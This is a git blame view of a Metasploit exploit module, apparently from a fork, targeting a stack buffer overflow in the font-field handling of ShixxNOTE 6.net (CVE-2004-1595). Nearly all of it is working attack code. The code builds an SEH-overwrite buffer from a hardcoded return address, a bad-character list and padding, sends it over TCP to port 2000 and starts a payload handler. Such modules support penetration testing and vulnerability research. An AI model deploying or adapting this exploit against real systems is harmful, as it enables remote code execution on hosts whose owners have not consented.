Files
metasploit-gs/modules/exploits/windows/misc/shixxnote_font.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

79 lines
1.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'ShixxNOTE 6.net Font Field Overflow',
'Description' => %q{
This module exploits a buffer overflow in ShixxNOTE 6.net.
2006-09-13 06:20:05 +00:00
The vulnerability is caused due to boundary errors in the
handling of font fields.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2004-1595'],
['OSVDB', '10721'],
['BID', '11409'],
2006-09-13 06:20:05 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 650,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
'Targets' =>
[
[ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],
2006-09-13 06:20:05 +00:00
],
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
'Privileged' => false,
2013-08-30 16:28:54 -05:00
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2004-10-04',
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(2000)
])
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
end
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
def exploit
connect
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 16:28:54 -05:00
sploit = rand_text_alpha_upper(8, payload_badchars)
2006-09-13 06:20:05 +00:00
sploit += "~~"
sploit += rand_text_alpha_upper(118, payload_badchars)
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
seh = generate_seh_payload(target.ret)
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
sploit[112, seh.length] = seh
sploit += rand_text_alpha_upper(200, payload_badchars)
2006-09-13 06:20:05 +00:00
sploit += "~" * 10
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
sock.put(sploit)
2013-08-30 16:28:54 -05:00
2006-09-13 06:20:05 +00:00
handler
disconnect
end
end